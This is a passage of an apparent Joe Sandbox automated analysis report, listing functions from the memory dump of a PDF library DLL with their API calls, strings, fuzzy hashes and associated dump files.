Opcode Fuzzy Hash: e556f8eadd521b30a6fb6d07d695babaf2ef8fdde6a066322799f995e854dc82
Instruction Fuzzy Hash: 1E026D71E012599FDB24CFA9C88069EFBF1FF48319F258269D929A7740D731AA01CF91

Function 6CA0DD30 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CA0DCB6: FPDFAnnot_GetSubtype.IEPDF32(?,?,6CA0DC66,?,Vertices), ref: 6CA0DCCE

FPDFAnnot_GetSubtype.IEPDF32(?), ref: 6CA0DE7E
_strlen.LIBCMT ref: 6CA0DFAB

Strings

Border, xrefs: 6CA0E011, 6CA0E1D2

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: Annot_Subtype$_strlen
String ID: Border
API String ID: 1705965674-3227086401
Opcode ID: 5913f7d4f413556817e9dd00f9c4797ee3208432eed53f136d49ef37d4f087a7
Instruction ID: 03b1981e69091858057cdcbc7ec235bc46a7aa3165dcd9def6bd691fd726460f
Opcode Fuzzy Hash: 5913f7d4f413556817e9dd00f9c4797ee3208432eed53f136d49ef37d4f087a7
Instruction Fuzzy Hash: 08F1F376B0161A9FDB00CF65D880AAEB7B5FF99748F144118E915ABB80DB30E845CBE1

Function 6CA0E610 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Annot, xrefs: 6CA0F201
Type, xrefs: 6CA0F1E9

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID:
String ID: Annot$Type
API String ID: 0-395718979
Opcode ID: 3858271ae86c75818bb242e62b6dc10c0a7789a80118b5e242c8af0cdc959531
Instruction ID: 7b04c4b9e5272c5f35f6ccc005cd0c38fba3f171d985dd4482bfd832ce6eb0e2
Opcode Fuzzy Hash: 3858271ae86c75818bb242e62b6dc10c0a7789a80118b5e242c8af0cdc959531
Instruction Fuzzy Hash: 58B1C335B012188FEB14CF65D8907AEB7B5FF89388F044859D959ABB40EB30DD46CB91

Function 6CB8A7D6 Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6CB8A8CE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6CB8A8D8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CB8A8E5

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6d1c60b484ee58b17c389afad0d327b6e471f9cbda13d44fa0e7e86430306041
Instruction ID: 9e3449032a3dd80986d502a2a2e8efcf37e1df2ebc3c3efdff88e30efa18d3a0
Opcode Fuzzy Hash: 6d1c60b484ee58b17c389afad0d327b6e471f9cbda13d44fa0e7e86430306041
Instruction Fuzzy Hash: A431D27490122CABCB21DF25C888BCDBBB8BF08314F5041EAE51DA7690E7709B858F55

Function 6CB82010 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 419COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6CB6FC0B,?,?,?,00000000,?), ref: 6CB8202C

Strings

acos, xrefs: 6CB91255, 6CB912B9

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID: acos
API String ID: 2325560087-3274075629
Opcode ID: 3f1d53589fc481c71470d26d51a194662036b7c674f8d60c4733b66e7786cd99
Instruction ID: 271db857bd12607a866658019e65ae63436c9093db58d1628db3471a1e8b812d
Opcode Fuzzy Hash: 3f1d53589fc481c71470d26d51a194662036b7c674f8d60c4733b66e7786cd99
Instruction Fuzzy Hash: 66E13720E6AF414DEB13A634C82133AB7ACAFB72C5F95C727FC1674D51EB2284839142

Function 6CA0E530 Relevance: 2.9, Strings: 2, Instructions: 416COMMON

Download Yara Rule

Strings

Annot, xrefs: 6CA0F201
Type, xrefs: 6CA0F1E9

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID:
String ID: Annot$Type
API String ID: 0-395718979
Opcode ID: 2f66fa0dedc55e2d642e73abee46b31cb0936e0de03ca05e5c133462fab6a474
Instruction ID: 4ec3ce851b81f9c29f0367ec080e26434c930d07625434e5848ae07f8a1ba90d
Opcode Fuzzy Hash: 2f66fa0dedc55e2d642e73abee46b31cb0936e0de03ca05e5c133462fab6a474
Instruction Fuzzy Hash: 6EB13774B012194FEB14CF65D884ABF7BB6EF88658F14081CDA196BB50DB30E806C7E0

Function 6CB93864 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6CB937BF,?,?,00000008,?,?,6CB9857A,00000000), ref: 6CB93A91

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 448298169ce739f48dda8d4b1b5892c6d0509ec66f4e256cfb537f7ee6fd7054
Instruction ID: 6f934f11b79c50b75fcfd039ed7b614bc429798ed5b86f7eb837122e362eb4b3
Opcode Fuzzy Hash: 448298169ce739f48dda8d4b1b5892c6d0509ec66f4e256cfb537f7ee6fd7054
Instruction Fuzzy Hash: DEB139316116499FD705CF28C486B557BE0FF46368F258668E8EECF6A1C336E981CB41

Function 6CB70729 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 6CB708AD

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: dd7c8c1ddd6ce8c4bce4a4bd8efe16c3faa5067ad1c8641c1d1b1be1a81dde9e
Instruction ID: 01d2207ab3a94d36885736dfd165c52b9b4f16ab209ed55b648b96705af7cab3
Opcode Fuzzy Hash: dd7c8c1ddd6ce8c4bce4a4bd8efe16c3faa5067ad1c8641c1d1b1be1a81dde9e
Instruction Fuzzy Hash: 16B1A2709056CA8BDB348F68E5506AEBBB1EF05308F10461FDC7297E90DB369645CBB2

Function 6CB8D968 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 6CB88D0A: GetLastError.KERNEL32(00000000,?,6CB84B09), ref: 6CB88D0E
Part of subcall function 6CB88D0A: SetLastError.KERNEL32(00000000,?,?,00000028,6CB82020), ref: 6CB88DB0

EnumSystemLocalesW.KERNEL32(6CB8DA10,00000001,00000000,?,?,?,6CB8D7F3,00000000,?,?,?), ref: 6CB8D9DA

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: aa1ab61630b37b8c4ceadce9666b3f68ccdcad2eca2e2f1d5f258ef9871edd06
Instruction ID: da5d1f06b79ca2ef97c95c15c61411cd0dfd71ab79a8021543fd36f764859cff
Opcode Fuzzy Hash: aa1ab61630b37b8c4ceadce9666b3f68ccdcad2eca2e2f1d5f258ef9871edd06
Instruction Fuzzy Hash: 3C11E93B2057055FDB189F39D8916AAB7A1FF8075CB18452ED58787F40D375B542C740

Function 6CB8DC63 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 6CB88D0A: GetLastError.KERNEL32(00000000,?,6CB84B09), ref: 6CB88D0E
Part of subcall function 6CB88D0A: SetLastError.KERNEL32(00000000,?,?,00000028,6CB82020), ref: 6CB88DB0

EnumSystemLocalesW.KERNEL32(6CB8DCD0,00000001,?,?,?,?,6CB8D7BB,?,?,?,?), ref: 6CB8DCAD

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8156c67a9efa48e8f372fc5e3dd3b8cd511efb68e764401e131e69b8f27fb326
Instruction ID: fdd08d7ea123a41ccfa471b433d70e7665122c49a0d206d885861ead1c09018c
Opcode Fuzzy Hash: 8156c67a9efa48e8f372fc5e3dd3b8cd511efb68e764401e131e69b8f27fb326
Instruction Fuzzy Hash: 74F0F6363013455FD7145F3AE880AAA7BA5EF8136CF15452FE9468BA40D7B19842CB50

Function 6CB89B9D Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 6CB89CA1: EnterCriticalSection.KERNEL32(-6CD7BDE8,?,6CB78B52,00000000,6CD6DDB0,0000000C,6CB78B0B,?,?,6CB8868B,?,?,6CB88F7B,00000001,00000364,00000008), ref: 6CB89CB0

EnumSystemLocalesW.KERNEL32(6CB89B90,00000001,6CD6E480,0000000C,6CB89501,?), ref: 6CB89BD5

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 1e81ac659a7e4c0642b49835a6399f2d4b3ac570e8ea16bc4a083dbb97252a87
Instruction ID: 44374f803ca920f2a9aaf1223b71c8b38431a7689ed1efc9962255d61675e578
Opcode Fuzzy Hash: 1e81ac659a7e4c0642b49835a6399f2d4b3ac570e8ea16bc4a083dbb97252a87
Instruction Fuzzy Hash: E1F04976B11250EFEB00DFA9D541B9D77F0EB45325F10405AE5119BBA0D77A9904CF50

Function 6CB8DDA5 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6CB88D0A: GetLastError.KERNEL32(00000000,?,6CB84B09), ref: 6CB88D0E
Part of subcall function 6CB88D0A: SetLastError.KERNEL32(00000000,?,?,00000028,6CB82020), ref: 6CB88DB0

EnumSystemLocalesW.KERNEL32(6CB8DDF0,00000001,?,?,?,6CB8D815,?,?,?,?), ref: 6CB8DDDC

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
